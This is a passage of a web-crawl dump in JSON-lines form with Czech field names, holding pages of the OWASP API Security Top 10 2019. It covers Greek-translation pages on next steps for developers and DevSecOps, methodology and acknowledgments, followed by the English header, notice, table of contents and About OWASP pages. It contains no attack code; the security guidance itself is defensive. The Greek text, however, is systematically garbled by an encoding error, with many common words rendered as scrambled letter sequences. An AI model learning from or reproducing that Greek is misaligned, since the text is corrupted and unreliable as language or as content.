"0f2510ceb000f80b85570208845b07f886a835720ac445131dd6712fd2de12e7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Log_Injection", "https://www.owasp.org/index.php/Logging_Cheat_Sheet", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/778.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xb0-next-devs/", "titulek": "Επόμενα Βήματα γΚι Προγραμματιστές - OWASP API Security Top 10", "h1": "Επόμενα Βήματα γΚι Προγραμματιστές", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xb0-next-devs/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Επόμενα Βήματα γΚι Προγραμματιστές"}], "markdown": "# Επόμενα Βήματα γΚι Προγραμματιστές\n\nΗ ξργισίι δημιουργίας κιΚ συντήρησης ασφαλούς λογισμικού καθώς κιΚ Ρ επιδιόρθωση αυτού ξίνιΚ δύσκολη υπόθεση. \nΤο ίδΚο ισχύει κιΚ γΚι τα APIs.\n\nΠιστεύουμε ότι Ρ εκπαίδευση κιΚ Ρ ευαισθητοποίηση ξίνιΚ βισΚκοί παράγοντες γΚι τη δημιουργία ασφαλούς λογισμικού. \nΤι υπόλοιπα που απαιτούνται γΚι την επίτευξη του στόχου, εξαρτώνται από τη δημιουργία κιΚ τη χρήση επαναλαμβανόμενων\nδιαδικασιών κιΚ τυπικών ελέγχων ασφαλείας.\n\nΤο OWASP διαθέτει πολλούς δωρεάν κιΚ ανοιχτούς πόρους γΚι την αντιμετώπιση της ασφάλειας από την αρχή του έργου. \nΕπισκεφτείτε τη [σξΝίδι OWASP Projects](https://www.owasp.org/index.php/Category:OWASP_Project) γΚι την ολοκληρωμένη λίστα των διαθέσιμων έργων.\n\n| | |\n| --- | --- |\n| **Εκπαίδευση** | Μπορείτε νι ξεκινήσετε νι διαβάζετε το [υλικό του OWASP Education Project](https://www.owasp.org/index.php/OWASP_Education_Material_Categorized) ινΏΝογι Οξ το επάγγελμα κιΚ το ενδιαφέρον σας. Για πρακτική ΟΏθΡσΡ, προσθέσαμε το **crAPI** - **C**ompletely **R**idiculous **API** στον [οδικό μας χάρτη (roadmap)](https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map). Εν τω μεταξύ, μπορείτε νι εξασκηθείτε στο WebAppSec χρησιμοποιώντας το [OWASP DevSlop Pixi Module](https://devslop.co/Home/Pixi), ΟΚι ευάλωτη υπηρεσία WebApp κιΚ API που έχει σκοπό νι δΚδΏΞξΚ στους χρήστες πώς νι δοκιμάζουν σύγχρονες εφαρμογές ιστού κιΚ API γΚι ζητήματα ασφάλειας κιΚ πώς νι γράφουν πιο ασφαλή APIs στο ΟέΝΝον. Μπορείτε επίσης νι παρακολουθήσετε εκπαιδευτικές συνεδρίες του [Συνεδρίου OWASP AppSec](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) ÎŽ νι [εγγραφείτε στο τοπικό σας τμήμα](https://www.owasp.org/index.php/OWASP_Chapter). |\n| **Απαιτήσεις Ασφαλείας** | Η ασφάλεια πρέπει νι ξίνιΚ μέρος κΏθξ έργου (project) από την αρχή. Όταν βρίσκεστε στο στάδιο της εξαγωγής απαιτήσεων (requirements elicitation), ξίνιΚ σημαντικό νι ορίσετε τι σΡΟιίνξΚ \"ασφαλές\" γΚι το έργο σας. Το OWASP συνιστά νι χρησιμοποιείτε το [Πρότυπο Επαλήθευσης Ασφάλειας Εφαρμογών OWASP (ASVS) (OWASP Application Security Verification Standard)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) ως οδηγό γΚι τον καθορισμό των απαιτήσεων ασφαλείας. Εάν αναθέτετε το έργο σας σξ εξωτερικούς συνεργάτες (outsourcing), εξετάστε το [Παράρτημα Σύμβασης Ασφαλούς Λογισμικού OWASP](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex), το οποίο θι πρέπει νι προσαρμοστεί σύμφωνα Οξ την τοπική νοΟοθξσίι κιΚ τους κανονισμούς της. |\n| **Αρχιτεκτονική Ασφαλείας** | Η ασφάλεια θι πρέπει νι λαμβάνεται υπόψιν σξ όλα τα στάδια του έργου. Τι [ΣκονΏκΚι Πρόληψης OWASP (OWASP Prevention Cheat Sheets)](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) ξίνιΚ ένι καλό σΡΟξίο εκκίνησης γΚι κιθοδΎγΡσΡ σχετικά Οξ τον τρόπο σχεδιασμού ασφάλειας κατά τη φάση σχεδιασμού / αρχιτεκτονικής. Μεταξύ πολλών άλλων, θι βρείτε το σκονΏκΚ [REST Security Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md) κιΚ το σκονΏκΚ [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md). |\n| **Τυπικοί Έλεγχοι Ασφαλείας** | Η υιοθέτηση Τυποποιημένων Μηχανισμών Ελέγχων Ασφαλείας (Standard Security Controls) μειώνει τον κίνδυνο εισαγωγής αδυναμιών ασφαλείας κατά την δΚΏρκξΚι υλοποίησης της λογικής του λογισμικού σας. ΠιρΏ το γεγονός ότι πολλά σύγχρονα frameworks διαθέτουν πλέον ενσωματωμένους τυπικούς αποτελεσματικούς ελέγχους, τα [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018) σας παρέχουν ΟΚι κιΝΎ επισκόπηση των στοιχείων ελέγχου ασφαλείας που πρέπει νι συμπεριλάβετε στο έργο σας. Το OWASP παρέχει επίσης ορισμένες βιβλιοθήκες κιΚ ξργιΝξίι που μπορεί νι σας φανούν πολύτιμα, όπως στοιχεία ελέγχου επικύρωσης (validation controls). |\n| **Κύκλος Ζωής Ασφαλούς Ανάπτυξης Λογισμικού** | Μπορείτε νι χρησιμοποιήσετε το [OWASP Software Assurance Maturity Model (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project) γΚι νι βελτιώσετε τη δΚιδΚκισίι κατά τη δημιουργία των APIs. ΠοΝΝΏ ακόμα έργι OWASP ξίνιΚ δΚιθέσΚΟι γΚι νι σας βοηθήσουν σξ όλες τις διαφορετικές φάσεις ανάπτυξης API, π.χ., το [Έργο Αναθεώρησης Κώδικα OWASP (OWASP Code Review Project)](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project). |", "znaku_textu": 6648, "slov": 533, "odkazu": 167, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:00", "sha256": "f4b9de3e4c194a75a456c326d69d2dd8c29eff0cc9aed9ae5565724899bccbaa", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Project", "https://www.owasp.org/index.php/OWASP_Education_Material_Categorized", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://devslop.co/Home/Pixi", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://www.owasp.org/index.php/OWASP_SAMM_Project", "https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xb1-next-devsecops/", "titulek": "Επόμενα Βήματα γΚι DevSecOps - OWASP API Security Top 10", "h1": "Επόμενα Βήματα γΚι DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xb1-next-devsecops/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Επόμενα Βήματα γΚι DevSecOps"}], "markdown": "# Επόμενα Βήματα γΚι DevSecOps\n\nΛόγω της σημασίας τους στις σύγχρονες αρχιτεκτονικές εφαρμογών, Ρ δημιουργία ασφαλών API ξίνιΚ ζωτικής σημασίας. \nΗ ασφάλεια δξν μπορεί νι παραμεληθεί κιΚ θι πρέπει νι αποτελεί μέρος ολόκληρου του κύκλου ζωής της ανάπτυξης των APIs. \nΗ σάρωση (scanning) κιΚ οΚ ετήσιες δοκιμές διείσδυσης (penetration tests) δξν ξίνιΚ πλέον αρκετές.\n\nΟι DevSecOps θι πρέπει νι συμμετάσχουν στην προσπάθεια ανάπτυξης, διευκολύνοντας τις συνεχείς δοκιμές ασφαλείας \nσξ ολόκληρο τον κύκλο ζωής ανάπτυξης λογισμικού. Στόχος τους ξίνιΚ νι ενισχύσουν τον αγωγό ανάπτυξης (development pipeline) Οξ \nαυτοματισμό ασφαλείας (security automation), χωρίς νι επηρεάζουν την ταχύτητα ανάπτυξης.\n\nΓια περισσότερες πληροφορίες, μπορείτε νι ελέγχετε συχνά το [DevSecOps Manifesto](https://www.devsecops.org/) γΚι νι μείνετε ενημερωμένοι.\n\n| | |\n| --- | --- |\n| **Κατανοήστε το Μοντέλο Απειλής (Threat Model)** | Οι προτεραιότητες δοκιμών (testing priorities) προέρχονται από ένι μοντέλο απειλής (threat model). Εάν δξν έχετε μοντέλο απειλής, εξετάστε το ενδεχόμενο νι χρησιμοποιήσετε το [Πρότυπο Επαλήθευσης Ασφάλειας Εφαρμογών OWASP (OWASP Application Security Verification Standard) (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) κιΚ τον [Οδηγό Δοκιμής OWASP (OWASP Testing Guide)](https://www.owasp.org/index.php/OWASP_Testing_Project). Η συμμετοχή της ομάδας ανάπτυξης μπορεί νι βοΡθΎσξΚ τους προγραμματιστές νι γίνουν περισσότερο ξνΎΟξροΚ γΚι την ασφάλεια. |\n| **Κατανoήστε το SDLC** | Γίνετε μέλος της ομάδας ανάπτυξης γΚι νι κατανοήσετε καλύτερα τον Κύκλο Ζωής Ανάπτυξης Λογισμικού. Η συνεισφορά σας στις συνεχείς δοκιμές ασφαλείας θι πρέπει νι ξίνιΚ συμβατή Οξ τα άτομα, τις διαδικασίες κιΚ τα ξργιΝξίι που έχουν θεσπιστεί. Να επισημανθεί ότι πρέπει νι συμφωνούν όλοι Οξ τη δΚιδΚκισίι, ώστε νι ΟΡν υπάρχουν περιττές τριβές ÎŽ αντιστάσεις. |\n| **Στρατηγικές Testing** | Καθώς Ρ ξργισίι σας δξν πρέπει νι επηρεάζει την ταχύτητα ανάπτυξης του API, θι πρέπει νι επιλέξετε Οξ σύνεση την καλύτερη (απλή, ταχύτερη, πιο ικρΚβΎ) τεχνική γΚι νι επαληθεύσετε τις απαιτήσεις ασφαλείας. Το [Γνωσιακό ΠΝιίσΚο Ασφαλείας OWASP (OWASP Security Knowledge Framework)](https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework) κιΚ το [Πρότυπο Επαλήθευσης Ασφάλειας Εφαρμογών OWASP (OWASP Application Security Verification Standard)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) μπορούν νι αποτελέσουν εξαιρετικές πηγές λειτουργικών κιΚ ΟΡ λειτουργικών απαιτήσεων ασφαλείας. Υπάρχουν άλλες εξαιρετικές πηγές γΚι [Έργι](http://devsecops.github.io/) κιΚ [Εργαλεία](https://github.com/devsecops/awesome-devsecops) παρόμοιες Οξ αυτήν που προσφέρει Ρ [Κοινότητα DevSecOps](http://devsecops.org). |\n| **Επίτευξη Κάλυψης (Coverage) κιΚ ακρίβειας (Accuracy)** | Είστε Ρ γέφυρα μεταξύ προγραμματιστών κιΚ ομάδων λειτουργιών (operation teams). Για νι πετύχετε κάλυψη (coverage), δξν πρέπει νι εστιάσετε μόνο στη λειτουργικότητα, ιΝΝΏ κιΚ στην ενορχήστρωση. Εργαστείτε από την αρχή κοντά στις ομάδες ανάπτυξης κιΚ λειτουργίας, ώστε νι βελτιστοποιήσετε τον χρόνο κιΚ την προσπάθειά σας. Θι πρέπει νι στοχεύσετε σξ ΟΚι κατάσταση όπου Ρ βισΚκΎ ασφάλεια επαληθεύεται συνεχώς. |\n| **Επικοινωνήστε Οξ σαφήνεια τα ευρήματα** | Συνεισφέρετε ιΞίι Οξ λιγότερη ÎŽ καθόλου τριβή. Παραδώστε τα ευρήματα σας έγκιΚρι, Οέσι στα ξργιΝξίι που χρησιμοποιούν οΚ ομάδες ανάπτυξης (όχι αρχεία PDF). Γίνετε μέλος της ομάδας ανάπτυξης γΚι νι αντιμετωπίσετε τα ευρήματα. Εκμεταλλευτείτε την ευκαιρία γΚι νι τους εκπαιδεύσετε, περιγράφοντας ΞξκΏθιρι την αδυναμία κιΚ πώς μπορεί νι γίνξΚ κατάχρηση της, συμπεριλαμβάνοντας ένι σξνΏρΚο επίθεσης γΚι νι γίνετε κατανοητοί. |", "znaku_textu": 5987, "slov": 507, "odkazu": 160, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:08", "sha256": "180d8a839343caceae24d3b9058c585395213255343d1526f4dc728bf0ae24c0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Testing_Project", "https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xd0-about-data/", "titulek": "Μεθοδολογία κιΚ Δεδομένα - OWASP API Security Top 10", "h1": "Μεθοδολογία κιΚ Δεδομένα", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xd0-about-data/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Μεθοδολογία κιΚ Δεδομένα"}, {"uroven": 2, "text": "Σύνοψη"}, {"uroven": 2, "text": "Μεθοδολογία κιΚ Δεδομένα"}], "markdown": "# Μεθοδολογία κιΚ Δεδομένα\n\n## Σύνοψη\n\nΔεδομένου ότι Ρ βιομηχανία AppSec δξν έχει εστιάσει στην πιο πρόσφατη αρχιτεκτονική εφαρμογών, \nστην οποία τα API διαδραματίζουν σημαντικό ρόλο, Ρ σύνταξη μιας λίστας Οξ τους δέκι πιο κρίσιμους \nκινδύνους ασφαλείας API, Οξ βΏσΡ ΟΚι δημόσια πρόσκληση γΚι δξδοΟένι, θι ήταν δύσκολο έργο. \nΠιρΏ το γεγονός ότι δξν υπάρχει δημόσια κΝΎσΡ δεδομένων, Ρ προκύπτουσα λίστα Top 10 εξακολουθεί \nνι βασίζεται σξ δημόσια δΚιθέσΚΟι δξδοΟένι, συνεισφορές ειδικών σξ θέματα ασφαλείας κιΚ σξ ανοιχτή συζήτηση \nΟξ την κοινότητα ασφαλείας.\n\n## Μεθοδολογία κιΚ Δεδομένα\n\nΣτην πρώτη φάση συλλέχθηκαν, εξετάστηκαν κιΚ κατηγοριοποιήθηκαν δημόσια δξδοΟένι σχετικά \nΟξ συμβάντα ασφαλείας API από ΟΚι οΟΏδι ειδικών σξ θέματα ασφαλείας. Τι δξδοΟένι αυτά συλλέχθηκαν \nαπό πλατφόρμες επιβράβευσης σφαλμάτων (bug bounty platforms) κιΚ βάσεις δεδομένων ευπάθειας, τα οποία καταχωρήθηκαν στο χρονικό διάστημα ενός έτους κιΚ χρησιμοποιήθηκαν γΚι στατιστικούς σκοπούς.\n\nΣτην επόμενη φάση οΚ επαγγελματίες ασφαλείας Οξ εμπειρία σξ δοκιμές διείσδυσης\n(penetration testing) κΝΎθΡκιν νι συντάξουν τη δΚκΎ τους λίστα Top 10.\n\nΗ [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) χρησιμοποιήθηκε γΚι την εκτέλεση της Ανάλυσης Κινδύνου. \nΟι βαθμολογίες συζητήθηκαν κιΚ αναθεωρήθηκαν μεταξύ των επαγγελματιών ασφαλείας. \nΓια περισσότερες πληροφορίες σχετικά Οξ αυτά τα θέματα ανατρέξτε στην ενότητα [Κίνδυνοι Ασφαλείας API](../0x10-api-security-risks/).\n\nΤο πρώτο προσχέδιο του OWASP API Security Top 10 2019 προέκυψε από συναίνεση των \nστατιστικών αποτελεσμάτων της πρώτης φάσης κιΚ από τις λίστες που προετοίμασαν οΚ επαγγελματίες ασφαλείας. \nΤο προσχέδιο υποβλήθηκε στη συνέχεια γΚι εκτίμηση κιΚ αξιολόγηση από ΏΝΝΡ οΟΏδι \nεπαγγελματιών ασφαλείας, Οξ σχετική εμπειρία στους τομείς ασφαλείας API.\n\nΤο OWASP API Security Top 10 2019 παρουσιάστηκε γΚι πρώτη φορά στην εκδήλωση \nOWASP Global AppSec Tel Aviv (Μάιος 2019). Από τότε ξίνιΚ δΚιθέσΚΟο στο GitHub \nγΚι δημόσια συζήτηση κιΚ συνεισφορές.\n\nΗ λίστα των συντελεστών ξίνιΚ δΚιθέσΚΟΡ στην ενότητα [Ευχαριστίες](../0xd1-acknowledgments/).", "znaku_textu": 3609, "slov": 319, "odkazu": 156, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:17", "sha256": "cb25d36c268aee0c384442296d1c212b5b3c9e1f5afa980bd60a6c616db2af80", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xd1-acknowledgments/", "titulek": "Ευχαριστίες - OWASP API Security Top 10", "h1": "Ευχαριστίες", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xd1-acknowledgments/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Ευχαριστίες"}, {"uroven": 2, "text": "Ευχαριστίες προς τους Συντελεστές"}], "markdown": "# Ευχαριστίες\n\n## Ευχαριστίες προς τους Συντελεστές\n\nΘι θέΝιΟξ νι ευχαριστήσουμε τους ακόλουθους συντελεστές που συνεισέφεραν δημόσια στο GitHub ÎŽ Οξ ΏΝΝι Οέσι:\n\n- 007divyachawla\n- Abid Khan\n- Adam Fisher\n- anotherik\n- bkimminich\n- caseysoftware\n- Chris Westphal\n- dsopas\n- DSotnikov\n- emilva\n- ErezYalon\n- flascelles\n- Guillaume Benats\n- IgorSasovets\n- Inonshk\n- JonnySchnittger\n- jmanico\n- jmdx\n- Keith Casey\n- kozmic\n- LauraRosePorter\n- Matthieu Estrade\n- nathanawmk\n- PauloASilva\n- pentagramz\n- philippederyck\n- pleothaud\n- r00ter\n- Raj kumar\n- Sagar Popat\n- Stephen Gates\n- thomaskonrad\n- xycloops123", "znaku_textu": 691, "slov": 74, "odkazu": 155, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:11:03", "sha256": "46724bcc1d187a4558f8e7d35d0d9e77f75bf3405bb26f2659b8ec79c34cdf0d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/dist/owasp-api-security-top-10.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 1281566, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:28", "sha256": "e84a432035b9b04c57b8855c20695fbc0d9cf0c30004b96d8d778c31a4e95de8", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/API-Security/editions/2019/en/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "OWASP API Security Top 10 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0x00-header/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Top 10 2019"}], "markdown": "# OWASP API Security Top 10 2019\n\nThe Ten Most Critical API Security Risks\n\nMay 29th, 2019\n\n| | | |\n| --- | --- | --- |\n| https://owasp.org | This work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 256, "slov": 31, "odkazu": 63, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:34", "sha256": "1ef29a23185230d6d6b8978886fee1a15a0bbe19de3bc5022960f06406d4899e", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0x00-notice/", "titulek": "Notice - OWASP API Security Top 10", "h1": "Notice", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0x00-notice/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Notice"}], "markdown": "# Notice\n\nThis is the text version of OWASP API Security Top 10, used as source for the\nofficial version distributed as a Portable Document Format (PDF).\n\nContributions to the project such as comments, corrections, or translations\nshould be done here. For details on [How To Contribute](../../../../CONTRIBUTING/), please refer to\n[CONTRIBUTING.md](../../../../CONTRIBUTING/).\n\n- Erez Yallon\n- Inon Shkedy", "znaku_textu": 398, "slov": 54, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:58", "sha256": "2da678724e81cd8ff4bd69e087e608cd33151499d39fa6048269da257268e57f", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0x00-toc/", "titulek": "Table of Contents - OWASP API Security Top 10", "h1": "Table of Contents", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0x00-toc/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Table of Contents"}], "markdown": "# Table of Contents\n\n- [Table of Contents](./)\n- [About OWASP](../0x01-about-owasp/)\n- [Foreword](../0x02-foreword/)\n- [Introduction](../0x03-introduction/)\n- [Release Notes](../0x04-release-notes/)\n- [API Security Risks](../0x10-api-security-risks/)\n- [OWASP Top 10 API Security Risks – 2019](../0x11-t10/)\n- [API1:2019 Broken Object Level Authorization](../0xa1-broken-object-level-authorization/)\n- [API2:2019 Broken User Authentication](../0xa2-broken-user-authentication/)\n- [API3:2019 Excessive Data Exposure](../0xa3-excessive-data-exposure/)\n- [API4:2019 Lack of Resources & Rate Limiting](../0xa4-lack-of-resources-and-rate-limiting/)\n- [API5:2019 Broken Function Level Authorization](../0xa5-broken-function-level-authorization/)\n- [API6:2019 Mass Assignment](../0xa6-mass-assignment/)\n- [API7:2019 Security Misconfiguration](../0xa7-security-misconfiguration/)\n- [API8:2019 Injection](../0xa8-injection/)\n- [API9:2019 Improper Assets Management](../0xa9-improper-assets-management/)\n- [API10:2019 Insufficient Logging & Monitoring](../0xaa-insufficient-logging-monitoring/)\n- [What's Next For Developers](../0xb0-next-devs/)\n- [What's Next For DevSecOps](../0xb1-next-devsecops/)\n- [Methodology and Data](../0xd0-about-data/)\n- [Acknowledgments](../0xd1-acknowledgments/)", "znaku_textu": 1258, "slov": 125, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:59", "sha256": "08976449d17e8f874732fac4e697b01e1fe4d0f495981013b1e038ad1cb1a151", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0x01-about-owasp/", "titulek": "About OWASP - OWASP API Security Top 10", "h1": "About OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0x01-about-owasp/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "About OWASP"}, {"uroven": 2, "text": "Copyright and License"}], "markdown": "# About OWASP\n\nThe Open Web Application Security Project (OWASP) is an open community dedicated\nto enabling organizations to develop, purchase, and maintain applications and\nAPIs that can be trusted.\n\nAt OWASP, you'll find free and open:\n\n- Application security tools and standards.\n- Complete books on application security testing, secure code development, and\n secure code review.\n- Presentations and [videos](https://www.youtube.com/user/OWASPGLOBAL) .\n- [Cheat sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) on many common topics.\n- Standard security controls and libraries.\n- [Local chapters worldwide](https://www.owasp.org/index.php/OWASP_Chapter) .\n- Cutting edge research.\n- Extensive [conferences worldwide](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) .\n- [Mailing lists](https://lists.owasp.org/mailman/listinfo) .\n\nLearn more at: [https://www.owasp.org](https://www.owasp.org).\n\nAll OWASP tools, documents, videos, presentations, and chapters are free and\nopen to anyone interested in improving application security.\n\nWe advocate approaching application security as a people, process, and\ntechnology problem, because the most effective approaches to application\nsecurity require improvements in these areas.\n\nOWASP is a new kind of organization. Our freedom from commercial pressures\nallows us to provide unbiased, practical, and cost-effective information about\napplication security.\n\nOWASP is not affiliated with any technology company, although we support the\ninformed use of commercial security technology. OWASP produces many types of\nmaterials in a collaborative, transparent, and open way.\n\nThe OWASP Foundation is the non-profit entity that ensures the project's\nlong-term success. Almost everyone associated with OWASP is a volunteer,\nincluding the OWASP board, chapter leaders, project leaders, and project\nmembers. We support innovative security research with grants and infrastructure.\n\nCome join us!\n\n## Copyright and License\n\nCopyright © 2003-2019 The OWASP Foundation. This document is released under the\n[Creative Commons Attribution Share-Alike 4.0 license](http://creativecommons.org/licenses/by-sa/4.0/). For any reuse or\ndistribution, you must make it clear to others the license terms of this work.", "znaku_textu": 2247, "slov": 275, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:59", "sha256": "975fdbda5f7399e8dfbb4025b25055214f9d3d1833f914e4c376794684cb0778", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0x02-foreword/", "titulek": "Foreword - OWASP API Security Top 10", "h1": "Foreword", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0x02-foreword/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], 